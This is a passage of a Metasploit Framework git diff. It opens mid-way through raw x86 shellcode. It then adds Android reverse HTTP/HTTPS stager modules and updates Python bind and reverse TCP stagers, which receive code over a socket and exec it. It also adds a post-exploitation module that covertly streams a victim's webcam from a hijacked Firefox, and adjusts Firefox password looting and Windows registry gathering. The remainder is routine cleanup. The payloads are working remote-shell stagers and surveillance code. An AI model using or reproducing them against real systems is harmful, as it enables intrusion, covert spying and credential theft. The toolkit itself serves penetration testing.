"\xff\xd5\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff" + + "\xd5\x97\x31\xdb\x53\x68\x02\x00\x11\x5c\x89\xe6\x6a\x10\x56\x57" + + "\x68\xc2\xdb\x37\x67\xff\xd5\x6a\x01\x54\x68\x02\x30\x00\x00\x68" + + "\xff\xff\x00\x00\x57\x68\xf1\xa2\x77\x29\xff\xd5\x53\x57\x68\xb7" + + "\xe9\x38\xff\xff\xd5\x53\xe8\x17\x00\x00\x00\x8b\x44\x24\x04\x8b" + + "\x40\x04\x8b\x40\x04\x2d\xc0\xa8\x01\x21\x74\x03\x31\xc0\x40\xc2" + + "\x20\x00\x53\x53\x57\x68\x94\xac\xbe\x33\xff\xd5\x40\x74\xd6\x48" + + "\x57\x97\x68\x75\x6e\x4d\x61\xff\xd5\x68\x63\x6d\x64\x00\x89\xe3" + + "\x57\x57\x57\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44\x24\x3c" + + "\x01\x01\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56\x56\x56\x46\x56" + + "\x4e\x56\x56\x53\x56\x68\x79\xcc\x3f\x86\xff\xd5\x89\xe0\x4e\x56" + + "\x46\xff\x30\x68\x08\x87\x1d\x60\xff\xd5\xbb\xe0\x1d\x2a\x0a\x68" + + "\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb" + + "\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5" + } + )) + + register_options([ + OptAddress.new('AHOST', [true, "IP address allowed", nil]) + ]) + end + +end + diff --git a/modules/payloads/stagers/android/reverse_http.rb b/modules/payloads/stagers/android/reverse_http.rb new file mode 100644 index 0000000000..b552686343 --- /dev/null +++ b/modules/payloads/stagers/android/reverse_http.rb @@ -0,0 +1,58 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'msf/core/handler/reverse_http' + +module Metasploit3 + + include Msf::Payload::Stager + include Msf::Payload::Dalvik + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Dalvik Reverse HTTP Stager', + 'Description' => 'Tunnel communication over HTTP', + 'Author' => 'anwarelmakrahy', + 'License' => MSF_LICENSE, + 'Platform' => 'android', + 'Arch' => ARCH_DALVIK, + 'Handler' => Msf::Handler::ReverseHttp, + 'Stager' => {'Payload' => ""} + )) + + register_options( + [ + OptInt.new('RetryCount', [true, "Number of trials to be made if connection failed", 10]) + ], self.class) + end + + def generate_jar(opts={}) + host = datastore['LHOST'] ? datastore['LHOST'].to_s : String.new + port = datastore['LPORT'] ? datastore['LPORT'].to_s : 8443.to_s + raise ArgumentError, "LHOST can be 32 bytes long at the most" if host.length + port.length + 1 > 32 + + jar = Rex::Zip::Jar.new + + classes = File.read(File.join(Msf::Config::InstallRoot, 'data', 'android', 'apk', 'classes.dex'), {:mode => 'rb'}) + string_sub(classes, 'ZZZZ ', "ZZZZhttp://" + host + ":" + port) + string_sub(classes, 'TTTT ', "TTTT" + datastore['RetryCount'].to_s) if datastore['RetryCount'] + jar.add_file("classes.dex", fix_dex_header(classes)) + + files = [ + [ "AndroidManifest.xml" ], + [ "resources.arsc" ] + ] + + jar.add_files(files, File.join(Msf::Config.install_root, "data", "android", "apk")) + jar.build_manifest + + cert, key = generate_cert + jar.sign(key, cert, [cert]) + + jar + end + +end diff --git a/modules/payloads/stagers/android/reverse_https.rb b/modules/payloads/stagers/android/reverse_https.rb new file mode 100644 index 0000000000..a9496ebdf2 --- /dev/null +++ b/modules/payloads/stagers/android/reverse_https.rb @@ -0,0 +1,57 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'msf/core/handler/reverse_https' + +module Metasploit3 + + include Msf::Payload::Stager + include Msf::Payload::Dalvik + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Dalvik Reverse HTTPS Stager', + 'Description' => 'Tunnel communication over HTTPS', + 'Author' => 'anwarelmakrahy', + 'License' => MSF_LICENSE, + 'Platform' => 'android', + 'Arch' => ARCH_DALVIK, + 'Handler' => Msf::Handler::ReverseHttps, + 'Stager' => {'Payload' => ""} + )) + + register_options( + [ + OptInt.new('RetryCount', [true, "Number of trials to be made if connection failed", 10]) + ], self.class) + end + + def generate_jar(opts={}) + host = datastore['LHOST'] ? datastore['LHOST'].to_s : String.new + port = datastore['LPORT'] ? datastore['LPORT'].to_s : 8443.to_s + raise ArgumentError, "LHOST can be 32 bytes long at the most" if host.length + port.length + 1 > 32 + + jar = Rex::Zip::Jar.new + + classes = File.read(File.join(Msf::Config::InstallRoot, 'data', 'android', 'apk', 'classes.dex'), {:mode => 'rb'}) + string_sub(classes, 'ZZZZ ', "ZZZZhttps://" + host + ":" + port) + string_sub(classes, 'TTTT ', "TTTT" + datastore['RetryCount'].to_s) if datastore['RetryCount'] + jar.add_file("classes.dex", fix_dex_header(classes)) + + files = [ + [ "AndroidManifest.xml" ], + [ "resources.arsc" ] + ] + + jar.add_files(files, File.join(Msf::Config.install_root, "data", "android", "apk")) + jar.build_manifest + + cert, key = generate_cert + jar.sign(key, cert, [cert]) + + jar + end +end diff --git a/modules/payloads/stagers/android/reverse_tcp.rb b/modules/payloads/stagers/android/reverse_tcp.rb index d41922f40e..c4d263f72e 100644 --- a/modules/payloads/stagers/android/reverse_tcp.rb +++ b/modules/payloads/stagers/android/reverse_tcp.rb @@ -24,10 +24,11 @@ module Metasploit3 'Handler' => Msf::Handler::ReverseTcp, 'Stager' => {'Payload' => ""} )) - end - def string_sub(data, placeholder, input) - data.gsub!(placeholder, input + ' ' * (placeholder.length - input.length)) + register_options( + [ + OptInt.new('RetryCount', [true, "Number of trials to be made if connection failed", 10]) + ], self.class) end def generate_jar(opts={}) @@ -35,46 +36,20 @@ module Metasploit3 classes = File.read(File.join(Msf::Config::InstallRoot, 'data', 'android', 'apk', 'classes.dex'), {:mode => 'rb'}) - string_sub(classes, '127.0.0.1 ', datastore['LHOST'].to_s) if datastore['LHOST'] - string_sub(classes, '4444 ', datastore['LPORT'].to_s) if datastore['LPORT'] + string_sub(classes, 'XXXX127.0.0.1 ', "XXXX" + datastore['LHOST'].to_s) if datastore['LHOST'] + string_sub(classes, 'YYYY4444 ', "YYYY" + datastore['LPORT'].to_s) if datastore['LPORT'] + string_sub(classes, 'TTTT ', "TTTT" + datastore['RetryCount'].to_s) if datastore['RetryCount'] jar.add_file("classes.dex", fix_dex_header(classes)) files = [ [ "AndroidManifest.xml" ], - [ "res", "drawable-mdpi", "icon.png" ], - [ "res", "layout", "main.xml" ], [ "resources.arsc" ] ] jar.add_files(files, File.join(Msf::Config.data_directory, "android", "apk")) jar.build_manifest - x509_name = OpenSSL::X509::Name.parse( - "C=Unknown/ST=Unknown/L=Unknown/O=Unknown/OU=Unknown/CN=Unknown" - ) - key = OpenSSL::PKey::RSA.new(1024) - cert = OpenSSL::X509::Certificate.new - cert.version = 2 - cert.serial = 1 - cert.subject = x509_name - cert.issuer = x509_name - cert.public_key = key.public_key - - # Some time within the last 3 years - cert.not_before = Time.now - rand(3600*24*365*3) - - # From http://developer.android.com/tools/publishing/app-signing.html - # """ - # A validity period of more than 25 years is recommended. - # - # If you plan to publish your application(s) on Google Play, note - # that a validity period ending after 22 October 2033 is a - # requirement. You can not upload an application if it is signed - # with a key whose validity expires before that date. - # """ - # The timestamp 0x78045d81 equates to 2033-10-22 00:00:01 UTC - cert.not_after = Time.at( 0x78045d81 + rand( 0x7fffffff - 0x78045d81 )) - + cert, key = generate_cert jar.sign(key, cert, [cert]) jar diff --git a/modules/payloads/stagers/python/bind_tcp.rb b/modules/payloads/stagers/python/bind_tcp.rb index 50e8974123..60753157c1 100644 --- a/modules/payloads/stagers/python/bind_tcp.rb +++ b/modules/payloads/stagers/python/bind_tcp.rb @@ -15,36 +15,38 @@ module Metasploit3 def initialize(info = {}) super(merge_info(info, 'Name' => 'Python Bind TCP Stager', - 'Description' => 'Python connect stager', + 'Description' => 'Listen for a connection', 'Author' => 'Spencer McIntyre', 'License' => MSF_LICENSE, 'Platform' => 'python', 'Arch' => ARCH_PYTHON, 'Handler' => Msf::Handler::BindTcp, 'Stager' => {'Payload' => ""} - )) + )) end # # Constructs the payload # def generate - cmd = '' # Set up the socket - cmd += "import socket,struct\n" - cmd += "s=socket.socket(2,socket.SOCK_STREAM)\n" # socket.AF_INET = 2 - cmd += "s.bind(('#{ datastore['LHOST'] }',#{ datastore['LPORT'] }))\n" - cmd += "s.listen(1)\n" - cmd += "c,a=s.accept()\n" - cmd += "l=struct.unpack('>I',c.recv(4))[0]\n" - cmd += "d=c.recv(4096)\n" - cmd += "while len(d)!=l:\n" - cmd += "\td+=c.recv(4096)\n" - cmd += "exec(d,{'s':c})\n" + cmd = "import socket,struct\n" + cmd << "s=socket.socket(2,socket.SOCK_STREAM)\n" # socket.AF_INET = 2 + cmd << "s.bind(('#{ datastore['LHOST'] }',#{ datastore['LPORT'] }))\n" + cmd << "s.listen(1)\n" + cmd << "c,a=s.accept()\n" + cmd << "l=struct.unpack('>I',c.recv(4))[0]\n" + cmd << "d=c.recv(4096)\n" + cmd << "while len(d)!=l:\n" + cmd << "\td+=c.recv(4096)\n" + cmd << "exec(d,{'s':c})\n" # Base64 encoding is required in order to handle Python's formatting requirements in the while loop - cmd = "import base64; exec(base64.b64decode('#{Rex::Text.encode_base64(cmd)}'))" - return cmd + b64_stub = "import base64,sys;exec(base64.b64decode(" + b64_stub << "{2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('" + b64_stub << Rex::Text.encode_base64(cmd) + b64_stub << "')))" + return b64_stub end def handle_intermediate_stage(conn, payload) diff --git a/modules/payloads/stagers/python/reverse_tcp.rb b/modules/payloads/stagers/python/reverse_tcp.rb index 4f741f0c52..bbf7891414 100644 --- a/modules/payloads/stagers/python/reverse_tcp.rb +++ b/modules/payloads/stagers/python/reverse_tcp.rb @@ -15,34 +15,36 @@ module Metasploit3 def initialize(info = {}) super(merge_info(info, 'Name' => 'Python Reverse TCP Stager', - 'Description' => 'Reverse Python connect back stager', + 'Description' => 'Connect back to the attacker', 'Author' => 'Spencer McIntyre', 'License' => MSF_LICENSE, 'Platform' => 'python', 'Arch' => ARCH_PYTHON, 'Handler' => Msf::Handler::ReverseTcp, 'Stager' => {'Payload' => ""} - )) + )) end # # Constructs the payload # def generate - cmd = '' # Set up the socket - cmd += "import socket,struct\n" - cmd += "s=socket.socket(2,socket.SOCK_STREAM)\n" # socket.AF_INET = 2 - cmd += "s.connect(('#{ datastore['LHOST'] }',#{ datastore['LPORT'] }))\n" - cmd += "l=struct.unpack('>I',s.recv(4))[0]\n" - cmd += "d=s.recv(4096)\n" - cmd += "while len(d)!=l:\n" - cmd += "\td+=s.recv(4096)\n" - cmd += "exec(d,{'s':s})\n" + cmd = "import socket,struct\n" + cmd << "s=socket.socket(2,socket.SOCK_STREAM)\n" # socket.AF_INET = 2 + cmd << "s.connect(('#{ datastore['LHOST'] }',#{ datastore['LPORT'] }))\n" + cmd << "l=struct.unpack('>I',s.recv(4))[0]\n" + cmd << "d=s.recv(4096)\n" + cmd << "while len(d)!=l:\n" + cmd << "\td+=s.recv(4096)\n" + cmd << "exec(d,{'s':s})\n" # Base64 encoding is required in order to handle Python's formatting requirements in the while loop - cmd = "import base64; exec(base64.b64decode('#{Rex::Text.encode_base64(cmd)}'))" - return cmd + b64_stub = "import base64,sys;exec(base64.b64decode(" + b64_stub << "{2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('" + b64_stub << Rex::Text.encode_base64(cmd) + b64_stub << "')))" + return b64_stub end def handle_intermediate_stage(conn, payload) diff --git a/modules/payloads/stages/python/meterpreter.rb b/modules/payloads/stages/python/meterpreter.rb index 63fce13671..0f0118ae68 100644 --- a/modules/payloads/stages/python/meterpreter.rb +++ b/modules/payloads/stages/python/meterpreter.rb @@ -8,19 +8,25 @@ require 'msf/core/handler/reverse_tcp' require 'msf/base/sessions/meterpreter_python' require 'msf/base/sessions/meterpreter_options' - module Metasploit3 include Msf::Sessions::MeterpreterOptions def initialize(info = {}) super(update_info(info, 'Name' => 'Python Meterpreter', - 'Description' => 'Run a meterpreter server in Python', - 'Author' => ['Spencer McIntyre'], + 'Description' => %q{ + Run a meterpreter server in Python. Supported Python versions + are 2.5 - 2.7 and 3.1 - 3.4. + }, + 'Author' => 'Spencer McIntyre', 'Platform' => 'python', 'Arch' => ARCH_PYTHON, 'License' => MSF_LICENSE, - 'Session' => Msf::Sessions::Meterpreter_Python_Python)) + 'Session' => Msf::Sessions::Meterpreter_Python_Python + )) + register_advanced_options([ + OptBool.new('DEBUGGING', [ true, "Enable debugging for the Python meterpreter", false ]) + ], self.class) end def generate_stage @@ -29,6 +35,11 @@ module Metasploit3 met = File.open(file, "rb") {|f| f.read(f.stat.size) } + + if datastore['DEBUGGING'] + met = met.sub("DEBUGGING = False", "DEBUGGING = True") + end + met end end diff --git a/modules/post/firefox/gather/passwords.rb b/modules/post/firefox/gather/passwords.rb index 24130d0f4e..819ac3c81b 100644 --- a/modules/post/firefox/gather/passwords.rb +++ b/modules/post/firefox/gather/passwords.rb @@ -37,8 +37,12 @@ class Metasploit3 < Msf::Post entry.keys.each { |k| entry[k] = Rex::Text.decode_base64(entry[k]) } end - file = store_loot("firefox.passwords.json", "text/json", rhost, passwords.to_json) - print_good("Saved #{passwords.length} passwords to #{file}") + if passwords.length > 0 + file = store_loot("firefox.passwords.json", "text/json", rhost, passwords.to_json) + print_good("Saved #{passwords.length} passwords to #{file}") + else + print_warning("No passwords were found in Firefox.") + end rescue JSON::ParserError => e print_warning(results) end diff --git a/modules/post/firefox/manage/webcam_chat.rb b/modules/post/firefox/manage/webcam_chat.rb new file mode 100644 index 0000000000..c6e5bd8a58 --- /dev/null +++ b/modules/post/firefox/manage/webcam_chat.rb @@ -0,0 +1,112 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'json' +require 'msf/core' + +class Metasploit3 < Msf::Post + + include Msf::Exploit::Remote::FirefoxPrivilegeEscalation + include Msf::Post::WebRTC + + def initialize(info={}) + super(update_info(info, + 'Name' => 'Firefox Webcam Chat on Privileged Javascript Shell', + 'Description' => %q{ + This module allows streaming a webcam from a privileged Firefox Javascript shell. + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'joev' ], + 'References' => [ + [ 'URL', 'http://www.rapid7.com/db/modules/exploit/firefox/local/exec_shellcode' ] + ], + 'DisclosureDate' => 'May 13 2014' + )) + + register_options([ + OptBool.new('CLOSE', [false, "Forcibly close previous chat session", false]), + OptBool.new('VISIBLE', [false, "Show a window containing the chat to the target", false]), + OptInt.new('TIMEOUT', [false, "End the chat session after this many seconds", -1]), + OptString.new('ICESERVER', [true, "The ICE server that sets up the P2P connection", 'wsnodejs.jit.su:80']) + ], self.class) + end + + def run + unless os_check + print_error "Windows versions of Firefox are not supported at this time [RM #8810]." + return + end + + server = datastore['ICESERVER'] + offerer_id = Rex::Text.rand_text_alphanumeric(10) + channel = Rex::Text.rand_text_alphanumeric(20) + + result = js_exec(js_payload(server, offerer_id, channel)) + + if datastore['CLOSE'] + print_status "Stream closed." + else + if result.present? + print_status result + connect_video_chat(server, channel, offerer_id) + else + print_warning "No response received" + end + end + end + + def os_check + user_agent = js_exec(%Q| + return Components.classes["@mozilla.org/network/protocol;1?name=http"] + .getService(Components.interfaces.nsIHttpProtocolHandler).userAgent; + |) + user_agent !~ /windows/i + end + + def js_payload(server, offerer_id, channel) + interface = load_interface('offerer.html') + api = load_api_code + + interface.gsub!(/\=SERVER\=/, server) + interface.gsub!(/\=CHANNEL\=/, channel) + interface.gsub!(/\=OFFERERID\=/, offerer_id) + + if datastore['TIMEOUT'] > 0 + api << "; setTimeout(function(){window.location='about:blank'}, #{datastore['TIMEOUT']*1000}); " + end + + url = if datastore['CLOSE'] + '"about:blank"' + else + '"data:text/html;base64,"+html' + end + + name = if datastore['VISIBLE'] + Rex::Text.rand_text_alphanumeric(10) + else + '_self' + end + + %Q| + (function(send){ + try { + + var AppShellService = Components + .classes["@mozilla.org/appshell/appShellService;1"] + .getService(Components.interfaces.nsIAppShellService); + + var html = "#{Rex::Text.encode_base64(interface)}"; + var url = #{url}; + AppShellService.hiddenDOMWindow.openDialog(url, '#{name}', 'chrome=1,width=1100,height=600'); + send("Streaming webcam..."); + + } catch (e) { + send(e); + } + })(send); + | + end + +end diff --git a/modules/post/multi/manage/record_mic.rb b/modules/post/multi/manage/record_mic.rb index 3d7c7bee17..4b70cdc8e8 100644 --- a/modules/post/multi/manage/record_mic.rb +++ b/modules/post/multi/manage/record_mic.rb @@ -81,4 +81,4 @@ class Metasploit3 < Msf::Post end end -end \ No newline at end of file +end diff --git a/modules/post/windows/gather/enum_muicache.rb b/modules/post/windows/gather/enum_muicache.rb index dbf8824fd9..6b25a3dab2 100644 --- a/modules/post/windows/gather/enum_muicache.rb +++ b/modules/post/windows/gather/enum_muicache.rb @@ -18,7 +18,7 @@ class Metasploit3 < Msf::Post 'Description' => %q{ This module gathers information about the files and file paths that logged on users have - executed on the system. It also will check if the file exists on the system still. This + executed on the system. It also will check if the file still exists on the system. This information is gathered by using information stored under the MUICache registry key. If the user is logged in when the module is executed it will collect the MUICache entries by accessing the registry directly. If the user is not logged in the module will download @@ -43,7 +43,7 @@ class Metasploit3 < Msf::Post username_reg_path = "HKLM\\Software\\Microsoft\\Windows\ NT\\CurrentVersion\\ProfileList" profile_subkeys = registry_enumkeys(username_reg_path) if profile_subkeys.blank? - print_error("Unable to access ProfileList registry key. Can't continue.") + print_error("Unable to access ProfileList registry key. Unable to continue.") return nil end @@ -53,7 +53,7 @@ class Metasploit3 < Msf::Post end user_home_path = registry_getvaldata("#{username_reg_path}\\#{user_sid}", "ProfileImagePath") if user_home_path.blank? - print_error("Unable to read ProfileImagePath from the registry. Can't continue.") + print_error("Unable to read ProfileImagePath from the registry. Unable to continue.") return nil end full_path = user_home_path.strip @@ -94,7 +94,7 @@ class Metasploit3 < Msf::Post # If the registry_enumvals returns us nothing then we'll know # that the user is most likely not logged in and we'll need to # download and process users hive locally. - print_warning("User #{user}: Can't access registry (maybe the user is not logged in atm?). Trying NTUSER.DAT/USRCLASS.DAT..") + print_warning("User #{user}: Can't access registry. Maybe the user is not logged in? Trying NTUSER.DAT/USRCLASS.DAT...") result = process_hive(sys_path, user, muicache, hive_file) unless result.nil? result.each { |r| @@ -105,7 +105,7 @@ class Metasploit3 < Msf::Post # If the registry_enumvals returns us content we'll know that we # can access the registry directly and thus continue to process # the content collected from there. - print_status("User #{user}: Enumerating registry..") + print_status("User #{user}: Enumerating registry...") subkeys.each do |key| if key[0] != "@" && key != "LangID" && !key.nil? result = check_file_exists(key, user) @@ -142,11 +142,11 @@ class Metasploit3 < Msf::Post ntuser_status = file_exist?(hive_path) unless ntuser_status == true - print_warning("Couldn't locate/download #{user}'s registry hive. Can't proceed.") + print_warning("Couldn't locate/download #{user}'s registry hive. Unable to proceed.") return nil end - print_status("Downloading #{user}'s NTUSER.DAT/USRCLASS.DAT file..") + print_status("Downloading #{user}'s NTUSER.DAT/USRCLASS.DAT file...") local_hive_copy = Rex::Quickfile.new("jtrtmp") local_hive_copy.close begin @@ -166,8 +166,8 @@ class Metasploit3 < Msf::Post # extracting the contents of the MUICache registry key. def hive_parser(local_hive_copy, muicache, user) results = [] - print_status("Parsing registry content..") - err_msg = "Error parsing hive. Can't continue." + print_status("Parsing registry content...") + err_msg = "Error parsing hive. Unable to continue." hive = Rex::Registry::Hive.new(local_hive_copy) if hive.nil? print_error(err_msg) @@ -210,7 +210,7 @@ class Metasploit3 < Msf::Post # - http://forensicartifacts.com/2010/08/registry-muicache/ # - http://www.irongeek.com/i.php?page=security/windows-forensics-registry-and-file-system-spots def run - print_status("Starting to enumerate MuiCache registry keys..") + print_status("Starting to enumerate MUICache registry keys...") sys_info = sysinfo['OS'] if sys_info =~/Windows XP/ && is_admin? @@ -219,7 +219,7 @@ class Metasploit3 < Msf::Post hive_file = "\\NTUSER.DAT" elsif sys_info =~/Windows 7/ && is_admin? print_good("Remote system supported: #{sys_info}") - muicache = "_Classes\\Local\ Settings\\Software\\Microsoft\\Windows\\Shell\\MuiCache" + muicache = "_Classes\\Local\ Settings\\Software\\Microsoft\\Windows\\Shell\\MUICache" hive_file = "\\AppData\\Local\\Microsoft\\Windows\\UsrClass.dat" else print_error("Unsupported OS or not enough privileges. Unable to continue.") @@ -236,7 +236,7 @@ class Metasploit3 < Msf::Post "File status", ]) - print_status("Phase 1: Searching user names..") + print_status("Phase 1: Searching user names...") sys_users, sys_paths, sys_sids = find_user_names if sys_users.blank? @@ -246,16 +246,16 @@ class Metasploit3 < Msf::Post print_good("Users found: #{sys_users.join(", ")}") end - print_status("Phase 2: Searching registry hives..") + print_status("Phase 2: Searching registry hives...") muicache_reg_keys = enum_muicache_paths(sys_sids, muicache) results = enumerate_muicache(muicache_reg_keys, sys_users, sys_paths, muicache, hive_file) results.each { |r| table << r } - print_status("Phase 3: Processing results..") + print_status("Phase 3: Processing results...") loot = store_loot("muicache_info", "text/plain", session, table.to_s, nil, "MUICache Information") print_line("\n" + table.to_s + "\n") - print_status("Results stored in: #{loot}") + print_status("Results stored as: #{loot}") print_status("Execution finished.") end diff --git a/modules/post/windows/gather/local_admin_search_enum.rb b/modules/post/windows/gather/local_admin_search_enum.rb index dd1309f664..8be4457703 100644 --- a/modules/post/windows/gather/local_admin_search_enum.rb +++ b/modules/post/windows/gather/local_admin_search_enum.rb @@ -30,7 +30,7 @@ class Metasploit3 < Msf::Post 'Thomas McCarthy "smilingraccoon" ', 'Royce Davis "r3dy" ' ], - 'Platform' => [ 'windows'], + 'Platform' => 'win', 'SessionTypes' => [ 'meterpreter' ] )) diff --git a/modules/post/windows/manage/driver_loader.rb b/modules/post/windows/manage/driver_loader.rb index 7f32ab25fc..5ee2b50215 100644 --- a/modules/post/windows/manage/driver_loader.rb +++ b/modules/post/windows/manage/driver_loader.rb @@ -40,7 +40,7 @@ class Metasploit3 < Msf::Post }, 'License' => MSF_LICENSE, 'Author' => 'Borja Merino ', - 'Platform' => 'windows', + 'Platform' => 'win', 'SessionTypes' => [ 'meterpreter' ] )) diff --git a/modules/post/windows/manage/ie_proxypac.rb b/modules/post/windows/manage/ie_proxypac.rb index 21bced57ef..bae925eefc 100644 --- a/modules/post/windows/manage/ie_proxypac.rb +++ b/modules/post/windows/manage/ie_proxypac.rb @@ -27,7 +27,7 @@ class Metasploit3 < Msf::Post [ 'URL', 'https://www.youtube.com/watch?v=YGjIlbBVDqE&hd=1' ], [ 'URL', 'http://blog.scriptmonkey.eu/bypassing-group-policy-using-the-windows-registry' ] ], - 'Platform' => [ 'windows' ], + 'Platform' => 'win', 'SessionTypes' => [ 'meterpreter' ] )) diff --git a/modules/post/windows/manage/portproxy.rb b/modules/post/windows/manage/portproxy.rb index 385451e7c3..cb45acc1f5 100644 --- a/modules/post/windows/manage/portproxy.rb +++ b/modules/post/windows/manage/portproxy.rb @@ -16,7 +16,7 @@ class Metasploit3 < Msf::Post }, 'License' => MSF_LICENSE, 'Author' => [ 'Borja Merino '], - 'Platform' => [ 'windows' ], + 'Platform' => 'win', 'SessionTypes' => [ 'meterpreter' ] )) diff --git a/modules/post/windows/manage/pptp_tunnel.rb b/modules/post/windows/manage/pptp_tunnel.rb index 9b370683fd..d6c7b912ab 100644 --- a/modules/post/windows/manage/pptp_tunnel.rb +++ b/modules/post/windows/manage/pptp_tunnel.rb @@ -24,7 +24,7 @@ class Metasploit3 < Msf::Post [ [ 'URL', 'http://www.youtube.com/watch?v=vdppEZjMPCM&hd=1' ] ], - 'Platform' => 'windows', + 'Platform' => 'win', 'SessionTypes' => [ 'meterpreter' ] )) diff --git a/modules/post/windows/manage/rpcapd_start.rb b/modules/post/windows/manage/rpcapd_start.rb index df88e5b8b1..c1625ab5ee 100644 --- a/modules/post/windows/manage/rpcapd_start.rb +++ b/modules/post/windows/manage/rpcapd_start.rb @@ -23,7 +23,7 @@ class Metasploit3 < Msf::Post PORT will be used depending of the mode configured.}, 'License' => MSF_LICENSE, 'Author' => [ 'Borja Merino '], - 'Platform' => [ 'windows' ], + 'Platform' => 'win', 'SessionTypes' => [ 'meterpreter' ] )) diff --git a/spec/lib/msf/core/framework_spec.rb b/spec/lib/msf/core/framework_spec.rb index c6eadf591b..7c96718f7d 100644 --- a/spec/lib/msf/core/framework_spec.rb +++ b/spec/lib/msf/core/framework_spec.rb @@ -6,7 +6,7 @@ require 'msf/core/framework' describe Msf::Framework do describe "#version" do - CURRENT_VERSION = "4.9.2-dev" + CURRENT_VERSION = "4.9.3-dev" subject do described_class.new diff --git a/tools/msftidy.rb b/tools/msftidy.rb index 4663f2a533..b4badae6ea 100755 --- a/tools/msftidy.rb +++ b/tools/msftidy.rb @@ -11,7 +11,7 @@ require 'find' require 'time' CHECK_OLD_RUBIES = !!ENV['MSF_CHECK_OLD_RUBIES'] -SUPRESS_INFO_MESSAGES = !!ENV['MSF_SUPPRESS_INFO_MESSAGES'] +SUPPRESS_INFO_MESSAGES = !!ENV['MSF_SUPPRESS_INFO_MESSAGES'] if CHECK_OLD_RUBIES require 'rvm' @@ -92,7 +92,7 @@ class Msftidy # Display an info message. Info messages do not alter the exit status. # def info(txt, line=0) - return if SUPRESS_INFO_MESSAGES + return if SUPPRESS_INFO_MESSAGES line_msg = (line>0) ? ":#{line}" : '' puts "#{@full_filepath}#{line_msg} - [#{'INFO'.cyan}] #{cleanup_text(txt)}" end @@ -523,6 +523,12 @@ class Msftidy end end + def check_newline_eof + if @source !~ /(?:\r\n|\n)\z/m + info('Please add a newline at the end of the file') + end + end + private def load_file(file) @@ -567,6 +573,7 @@ def run_checks(full_filepath) tidy.check_comment_splat tidy.check_vuln_codes tidy.check_vars_get + tidy.check_newline_eof return tidy end